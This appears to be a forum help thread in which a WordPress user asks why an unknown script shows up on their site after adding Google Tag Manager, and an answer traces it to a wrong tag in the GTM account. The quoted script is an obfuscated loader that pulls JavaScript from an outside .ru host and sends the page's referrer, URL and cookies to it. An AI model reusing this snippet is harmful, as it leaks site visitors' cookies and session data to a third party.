When GTM is added to the site, an incomprehensible code appears below. Link to the site here http://www.rd-inspector.ru/. I inserted the GTM code already through the plugin and clean to the beginning, the result is the same. I used DuracellTomi's Google Tag Manager for Wordpress plugin. My GTM code

<body <?php body_class(); ?>> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-5N4Z3B" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-5N4Z3B');</script> <!-- End Google Tag Manager --> 

The code that appears below

 &lt;script type="text/javascript"&gt; (function(w, d, e) { var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'dc' + a + src; var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src; s = d.createElement(e); p = d.getElementsByTagName(e)[0]; s.async = 1; s.src = jsHost +"."+"r"+"u/d_client.js?param;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie)+";"; if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost +"."+"r"+'u/js/jquery-1.7.min.js'; p.parentNode.insertBefore(jq, p);} p.parentNode.insertBefore(s, p); }(window, document, 'script')); &lt;/script&gt; 

I copied it from the debtor, instead of "<" and ">" - special characters, probably this is the problem, but I do not know how to solve it. Screenshot 1Screenshot 2Screenshot 3

  • The question is how and in what files they inserted clean and through which plugin they tried to insert. - Alex
  • @Maxim Kruglyachenko Instead of screenshots, insert the code into the question. - Vladimir Glinskikh
  • Inserted the code and the name of the plugin - Maksym Krugliachenko

1 answer 1

You need to pay attention to the tags in your GTM, this code is generated by one of them, most likely an error has crept in somewhere.

  • Thank. Indeed, there was an error, got access to the account and found the wrong JS code. - Maksym Krugliachenko